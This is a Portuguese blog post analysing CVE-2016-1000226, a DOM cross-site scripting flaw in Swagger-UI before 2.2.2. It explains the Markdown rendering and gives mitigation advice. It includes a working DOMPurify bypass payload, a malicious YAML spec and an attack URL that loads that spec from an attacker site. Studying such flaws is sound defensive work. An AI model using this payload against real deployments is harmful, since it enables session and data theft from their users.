blog.lesis.lat

Análise da CVE-2016-1000226: XSS no Swagger-UI

November 06, 2024 | 7 Minute Read

A CVE-2016-1000226[1] se trata de uma vulnerabilidade de cross-site scripting (XSS)[2] no Swagger-UI[3]. A vulnerabilidade foi divulgada em 21 de julho de 2016 e afeta as versões anteriores à 2.2.2 do Swagger-UI. A vulnerabilidade permite que um atacante injete scripts maliciosos nos parâmetros de entrada de uma determinada API e na geração de seus documentos JSON Swagger.

Essa publicação está disponível também em: Inglês


O que é o Swagger-UI?

O Swagger-UI é uma ferramenta de código aberto utilizada para exibir especificações de uma API em uma interface gráfica amigável para desenvolvedores. É amplamente empregado para gerenciar, documentar e testar APIs, graças à sua facilidade de visualizar e interagir com APIs RESTfuls diretamente no navegador.

Essa ferramenta funciona a partir do documento Swagger, que descreve a API, usando sua biblioteca JavaScript para processar e renderizar o conteúdo graficamente na tela


Vulnerabilidade

Embora o histórico de vulnerabilidades XSS do Swagger-UI seja considerável, todas as vulnerabilidades anteriores exigiam interação do usuário para que os ataques fossem bem-sucedidos. No entanto, a atual vulnerabilidade refere-se a um DOM XSS que não requer essa interação. Como a vulnerabilidade é controlada por parâmetros de consulta, um atacante pode explorá-la sem necessidade de interação do usuário.

Essa falha se deve ao uso de uma versão desatualizada da biblioteca DOMPurify[4] em versões do Swagger-UI anteriores à 2.2.2, que impede a sanitização adequada dos parâmetros de entrada fornecidos pelo usuário.


Como a UI do Swagger renderiza as especificações da API?

O processo inicia com a criação de um documento Swagger (OpenAPI Specification), que define a estrutura da API, incluindo endpoints, métodos, parâmetros e outras informações relevantes sobre a API. Esse documento é geralmente escrito no formato YAML ou JSON.

Em seguida, ao acessar o Swagger-UI no navegador e fornecer a URL ou arquivo contendo o documento Swagger, a interface inicia o processo de carregamento do documento. Esse carregamento pode ser realizado pela URL da API, onde o documento Swagger está hospedado, ou por upload direto do arquivo.

Vamos focar na função que permite o carregamento de um documento Swagger por meio de uma URL, o que pode ser feito de duas maneiras:

  • ?url=https://host/spec.yaml
  • ?configUrl=https://host/file.json

Em seguida, o Swagger busca as configurações JSON ou especificações de API YAML e, então, processa e renderiza o conteúdo no navegador do usuário. Além disso, ele interpreta qualquer campo de descrição da especificação de API como um Markdown[5].

Exemplo de como as especificações YAML[6] são estruturadas:

swagger: '2.0'  
 info:  
   title: Example yaml.spec  
   description: This is an example text \*\*HELLO FROM MARKDOWN\*\*  
 paths:  
   /accounts:  
     get:  
       responses:  
         '200':  
           description: No response was specified  
       tags:  
         \- accounts  
       operationId: findAccounts  
       summary: Finds all accounts

Função auxiliar que usada para renderizar Markdown na UI do Swagger:

// src/components/providers/markdown.jsx

 function Markdown({ source, className \= "", getConfigs }) {  
   ... omitted ...

   const md \= new Remarkable({  
     html: true,  
     typographer: true,  
     breaks: true,  
     linkTarget: "\_blank"  
   }).use(linkify)

   md.core.ruler.disable(\["replacements", "smartquotes"\])

   const { useUnsafeMarkdown } \= getConfigs()  
   const html \= md.render(source)  
   const sanitized \= sanitizer(html, { useUnsafeMarkdown })

   if (\!source || \!html || \!sanitized) {  
     return null  
   }

   return (  
     \<div className={cx(className, "markdown")} dangerouslySetInnerHTML=\>\</div\>  
   )  
 }

A função sanitizer utiliza o DOMPurify para sanitizar a string fornecida, com uma configuração adicional que proíbe explicitamente a tag <style> do HTML.
No entanto, existe uma maneira de contornar essa restrição, usando as tags <textarea> e <title> que podem “simular” o comportamento da tag <style>. Esse método funciona porque, as tags <textarea> e <title> permitem inserir CSS em um atributo HTML, papel semelhante ao que a tag <style> teria no bypass. Assim, esse comportamento é aproveitado para injetar código CSS que executa JavaScript.

A biblioteca DOMPurify utiliza pelo Swagger-UI não impede explicitamente o uso de CSS em atributos HTML, permitindo o seguinte bypass:

\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(1)'\>"\>

Exploração

A exploração parte do princípio que o Swagger processa qualquer campo de descrição da especificação de API como um Markdown. Assim, basta inserir o bypass mencionado no seguinte payload:

swagger: '2.0'  
 info:  
   title: Example yaml.spec  
   description: |  
     \<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(document.domain)'\>"\>  
 paths:  
   /accounts:  
     get:  
       responses:  
         '200':  
           description: No response was specified  
       tags:  
         \- accounts  
       operationId: findAccounts  
      summary: Finds all accounts

Com o payload malicioso criado, basta carregar o arquivo YAML de especificações na URL da aplicação vulnerável:

https://site-vulneravel.com/swagger-ui.html?url=https://site-malicioso.com/payload-swagger-ui.yml

Evidência do payload sendo triggado:


Impacto

A exploração bem-sucedida dessa vulnerabilidade pode ter diversos impactos negativos, incluindo:

  • Roubo de cookies e sessões de usuário, permitindo que um invasor assuma a identidade do usuário e acesse informações confidenciais.
  • Exposição de informações sensíveis, como senhas, dados de pagamento ou outras informações pessoais.
  • Acesso a serviços e funcionalidades privilegiadas, possibilitando que um invasor execute ações maliciosas em nome do usuário.

Mitigação

A vulnerabilidade XSS afeta versões do Swagger-UI anteriores à 2.2.2. Caso esteja utilizando uma versão anterior à 2.2.2, recomenda-se atualizar para a versão mais recente. Se a atualização completa do pacote não for possível, considere atualizar apenas o DOM Purify para uma versão superior à 2.2.2.


Conclusão

O problema central está na versão desatualizada da biblioteca DOMPurify, usada para sanitizar parâmetros de entrada do usuário. A exploração ocorre durante o processamento do documento Swagger, que pode conter código malicioso, especialmente nas descrições da especificação da API, onde o Swagger-UI interpreta o conteúdo como Markdown.

Os impactos potenciais de uma exploração bem-sucedida incluem o roubo de cookies e sessões de usuário, exposição de informações sensíveis e acesso a serviços privilegiados em nome do usuário da vítima.

A mitigação recomendada é atualizar o Swagger-UI para a versão 2.2.2 ou superior, ou, caso a atualização completa do pacote não seja possível, atualizar apenas o DOMPurify para uma versão superior à 2.2.2 é recomendado.


Referências